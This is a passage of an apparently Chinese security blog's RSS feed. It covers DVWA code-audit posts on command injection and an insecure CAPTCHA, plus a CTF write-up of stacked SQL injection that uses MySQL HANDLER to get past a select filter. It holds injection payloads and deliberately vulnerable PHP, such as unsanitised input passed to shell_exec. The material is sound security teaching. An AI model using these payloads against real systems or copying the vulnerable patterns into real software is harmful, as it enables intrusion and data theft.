&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $_page &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mb_substr&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $page,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;mb_strpos&lt;/span&gt;($page &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;?&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;?&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;in_array&lt;/span&gt;($_page, $whitelist)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $_page &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;urldecode&lt;/span&gt;($page);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $_page &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mb_substr&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $_page,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;mb_strpos&lt;/span&gt;($_page &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;?&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;?&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;in_array&lt;/span&gt;($_page, $whitelist)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;验证的白名单为：&lt;/p&gt;</description></item><item><title>DVWA代码审计之命令注入</title><link>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/dvwa%E5%AE%A1%E8%AE%A1%E7%AF%87/dvwa%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8B%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5/</link><pubDate>Sun, 29 Mar 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/dvwa%E5%AE%A1%E8%AE%A1%E7%AF%87/dvwa%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8B%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5/</guid><description>&lt;h1 id="dvwa代码审计之命令注入"&gt;
 DVWA代码审计之命令注入
 &lt;a class="anchor" href="#dvwa%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1%e4%b9%8b%e5%91%bd%e4%bb%a4%e6%b3%a8%e5%85%a5"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="原理"&gt;
 原理
 &lt;a class="anchor" href="#%e5%8e%9f%e7%90%86"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;在操作系统中，&amp;amp;，&amp;amp;&amp;amp;，|，||都可以作为命令连接符使用，用户通过浏览器提交执行命令，由于服务器端没有对执行函数进行过滤，从而造成可以执行危险命令。&lt;/p&gt;
&lt;p&gt;PHP的主要命令执行函数有：&lt;code&gt;system&lt;/code&gt;、&lt;code&gt;exec&lt;/code&gt;、&lt;code&gt;passthru&lt;/code&gt;、&lt;code&gt;shell_exec&lt;/code&gt;。反引号同样能够执行命令，但不是函数。&lt;/p&gt;
&lt;h3 id="连接符的使用"&gt;
 连接符的使用
 &lt;a class="anchor" href="#%e8%bf%9e%e6%8e%a5%e7%ac%a6%e7%9a%84%e4%bd%bf%e7%94%a8"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;cmd1 &amp;amp; cmd2&lt;/code&gt;：不管&lt;code&gt;cmd1&lt;/code&gt;执行成功与否，都执行&lt;code&gt;cmd2&lt;/code&gt;，即&lt;code&gt;cmd1&lt;/code&gt;和&lt;code&gt;cmd2&lt;/code&gt;都执行。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cmd1 &amp;amp;&amp;amp; cmd2&lt;/code&gt;：先执行&lt;code&gt;cmd1&lt;/code&gt;，成功后再执行&lt;code&gt;cmd2&lt;/code&gt;，若&lt;code&gt;cmd1&lt;/code&gt;执行失败，&lt;code&gt;cmd2&lt;/code&gt;也不执行。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cmd1 | cmd2&lt;/code&gt;：把&lt;code&gt;cmd1&lt;/code&gt;的输出作为&lt;code&gt;cmd2&lt;/code&gt;的输入。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cmd1 || cmd2&lt;/code&gt;：若&lt;code&gt;cmd1&lt;/code&gt;执行失败，再执行&lt;code&gt;cmd2&lt;/code&gt;；反之，&lt;code&gt;cmd2&lt;/code&gt;不执行。&lt;/p&gt;
&lt;h2 id="等级low"&gt;
 等级low
 &lt;a class="anchor" href="#%e7%ad%89%e7%ba%a7low"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="源码"&gt;
 源码
 &lt;a class="anchor" href="#%e6%ba%90%e7%a0%81"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;isset&lt;/span&gt;( $_POST[ &lt;span style="color:#e6db74"&gt;&amp;#39;Submit&amp;#39;&lt;/span&gt; ] ) ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// Get input
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$target &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $_REQUEST[ &lt;span style="color:#e6db74"&gt;&amp;#39;ip&amp;#39;&lt;/span&gt; ];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// Determine OS and execute the ping command.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;stristr&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;php_uname&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;s&amp;#39;&lt;/span&gt; ), &lt;span style="color:#e6db74"&gt;&amp;#39;Windows NT&amp;#39;&lt;/span&gt; ) ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#75715e"&gt;// Windows
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$cmd &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;shell_exec&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;ping &amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $target );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#75715e"&gt;// *nix
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$cmd &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;shell_exec&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;ping -c 4 &amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $target );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// Feedback for the end user
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$html &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;pre&amp;gt;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;$cmd&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;lt;/pre&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="函数简介"&gt;
 函数简介
 &lt;a class="anchor" href="#%e5%87%bd%e6%95%b0%e7%ae%80%e4%bb%8b"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;php_uname()&lt;/code&gt;：返回运行PHP的操作系统的描述，当参数为s时表示指定只返回操作系统名称。&lt;/p&gt;</description></item><item><title>堆叠注入之利用handler语句获取数据</title><link>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/sql%E6%B3%A8%E5%85%A5/%E5%88%A9%E7%94%A8handler%E8%BF%9B%E8%A1%8C%E5%A0%86%E5%8F%A0%E6%B3%A8%E5%85%A5/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/sql%E6%B3%A8%E5%85%A5/%E5%88%A9%E7%94%A8handler%E8%BF%9B%E8%A1%8C%E5%A0%86%E5%8F%A0%E6%B3%A8%E5%85%A5/</guid><description>&lt;h1 id="buuctf之gyctf2020blacklist"&gt;
 BUUCTF之[GYCTF2020]Blacklist
 &lt;a class="anchor" href="#buuctf%e4%b9%8bgyctf2020blacklist"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="handler语句"&gt;
 handler语句
 &lt;a class="anchor" href="#handler%e8%af%ad%e5%8f%a5"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;HANDLER 是 MySQL 中用于直接访问表存储引擎接口的语句，类似于文件操作：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-mysql" data-lang="mysql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 打开表
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HANDLER table_name OPEN [&lt;span style="color:#66d9ef"&gt;AS&lt;/span&gt; alias];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 读取数据
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HANDLER table_name &lt;span style="color:#66d9ef"&gt;READ&lt;/span&gt; FIRST; &lt;span style="color:#75715e"&gt;-- 读取第一行
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HANDLER table_name &lt;span style="color:#66d9ef"&gt;READ&lt;/span&gt; NEXT; &lt;span style="color:#75715e"&gt;-- 读取下一行
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HANDLER table_name &lt;span style="color:#66d9ef"&gt;READ&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;{索引名}&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;{操作}&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 关闭表
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HANDLER table_name CLOSE;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="与union的对比"&gt;
 与union的对比
 &lt;a class="anchor" href="#%e4%b8%8eunion%e7%9a%84%e5%af%b9%e6%af%94"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;h4 id="handler的优势"&gt;
 handler的优势
 &lt;a class="anchor" href="#handler%e7%9a%84%e4%bc%98%e5%8a%bf"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;不需要知道列数，即不需要&lt;code&gt;order by&lt;/code&gt;来查询&lt;/li&gt;
&lt;li&gt;不受&lt;code&gt;select&lt;/code&gt;限制，如果&lt;code&gt;select&lt;/code&gt;被ban了也能查询到数据&lt;/li&gt;
&lt;li&gt;访问数据更灵活，可以精确控制读取到哪一行&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="注入过程"&gt;
 注入过程
 &lt;a class="anchor" href="#%e6%b3%a8%e5%85%a5%e8%bf%87%e7%a8%8b"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://s0lowalker.github.io/images/screenshots/handler-01.png" alt="1" /&gt;&lt;/p&gt;
&lt;p&gt;首先测试一下是什么类型的注入，输入&lt;code&gt;1'&lt;/code&gt;报错，即为字符型注入。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://s0lowalker.github.io/images/screenshots/handler-02.png" alt="2" /&gt;&lt;/p&gt;
&lt;p&gt;然后测试了&lt;code&gt;1' order by 3&lt;/code&gt;，没有这一列，测试&lt;code&gt;order by 2&lt;/code&gt;则通过。&lt;/p&gt;
&lt;p&gt;尝试经典的联合查询注入，结果回显：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://s0lowalker.github.io/images/screenshots/handler-03.png" alt="3" /&gt;&lt;/p&gt;
&lt;p&gt;回显了waf，&lt;code&gt;select&lt;/code&gt;等查询字符被过滤。大概率是堆叠注入。然后测试&lt;code&gt;show&lt;/code&gt;语句，输入&lt;code&gt;1';show databases;#&lt;/code&gt;，回显：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://s0lowalker.github.io/images/screenshots/handler-04.png" alt="4" /&gt;&lt;/p&gt;
&lt;p&gt;确认是堆叠注入，也能看到这些数据库名。然后看一下当前数据库的数据表，输入&lt;code&gt;1';show tables;#&lt;/code&gt;，回显：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://s0lowalker.github.io/images/screenshots/handler-05.png" alt="5" /&gt;&lt;/p&gt;</description></item><item><title>DVWA代码审计之不安全的验证码</title><link>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/dvwa%E5%AE%A1%E8%AE%A1%E7%AF%87/dvwa%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8B%E4%B8%8D%E5%AE%89%E5%85%A8%E7%9A%84%E9%AA%8C%E8%AF%81%E7%A0%81/</link><pubDate>Sat, 21 Mar 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/web%E5%AE%89%E5%85%A8/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/dvwa%E5%AE%A1%E8%AE%A1%E7%AF%87/dvwa%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8B%E4%B8%8D%E5%AE%89%E5%85%A8%E7%9A%84%E9%AA%8C%E8%AF%81%E7%A0%81/</guid><description>&lt;h1 id="dvwa代码审计之不安全的验证码"&gt;
 DVWA代码审计之不安全的验证码
 &lt;a class="anchor" href="#dvwa%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1%e4%b9%8b%e4%b8%8d%e5%ae%89%e5%85%a8%e7%9a%84%e9%aa%8c%e8%af%81%e7%a0%81"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="原理"&gt;
 原理
 &lt;a class="anchor" href="#%e5%8e%9f%e7%90%86"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;简单来说，这个漏洞的成因是：开发者把验证码的“验证”和密码的“修改”两个步骤在服务器端完全分开，从而导致了业务流程上的逻辑漏洞。&lt;/p&gt;
&lt;p&gt;一般正常的逻辑是：如果验证码正确，我们才能修改密码，否则不能修改。如果把这两个步骤分开，就变成：当你提交验证码服务器验证通过后，让你重新发一个请求来修改密码，然后用户提交了新密码，而服务器不再验证验证码。这样就造成了逻辑上的“脱节”，如果我们精心地构造一个“修改密码”的请求，假装你已经通过验证，就能绕过直接修改。&lt;/p&gt;
&lt;h2 id="等级low"&gt;
 等级low
 &lt;a class="anchor" href="#%e7%ad%89%e7%ba%a7low"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="源码"&gt;
 源码
 &lt;a class="anchor" href="#%e6%ba%90%e7%a0%81"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;isset&lt;/span&gt;( $_POST[ &lt;span style="color:#e6db74"&gt;&amp;#39;Change&amp;#39;&lt;/span&gt; ] ) &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ( $_POST[ &lt;span style="color:#e6db74"&gt;&amp;#39;step&amp;#39;&lt;/span&gt; ] &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;1&amp;#39;&lt;/span&gt; ) ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// Hide the CAPTCHA form
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$hide_form &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// Get input
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$pass_new &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $_POST[ &lt;span style="color:#e6db74"&gt;&amp;#39;password_new&amp;#39;&lt;/span&gt; ];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$pass_conf &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $_POST[ &lt;span style="color:#e6db74"&gt;&amp;#39;password_conf&amp;#39;&lt;/span&gt; ];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// Check CAPTCHA from 3rd party
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	$resp &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;recaptcha_check_answer&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$_DVWA[ &lt;span style="color:#e6db74"&gt;&amp;#39;recaptcha_private_key&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$_POST[&lt;span style="color:#e6db74"&gt;&amp;#39;g-recaptcha-response&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#75715e"&gt;// Did the CAPTCHA fail?
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;( &lt;span style="color:#f92672"&gt;!&lt;/span&gt;$resp ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#75715e"&gt;// What happens when the CAPTCHA was entered incorrectly
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$html &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;pre&amp;gt;&amp;lt;br /&amp;gt;The CAPTCHA was incorrect. Please try again.&amp;lt;/pre&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		$hide_form &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#75715e"&gt;// CAPTCHA was correct. Do both new passwords match?
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;( $pass_new &lt;span style="color:#f92672"&gt;==&lt;/span&gt; $pass_conf ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			&lt;span style="color:#75715e"&gt;// Show next stage for the user
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			$html &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;				&amp;lt;pre&amp;gt;&amp;lt;br /&amp;gt;You passed the CAPTCHA! Click the button to confirm your changes.&amp;lt;br /&amp;gt;&amp;lt;/pre&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;				&amp;lt;form action=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;#&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; method=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;POST&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;					&amp;lt;input type=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;hidden&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; name=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;step&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; value=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;2&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt; /&amp;gt;
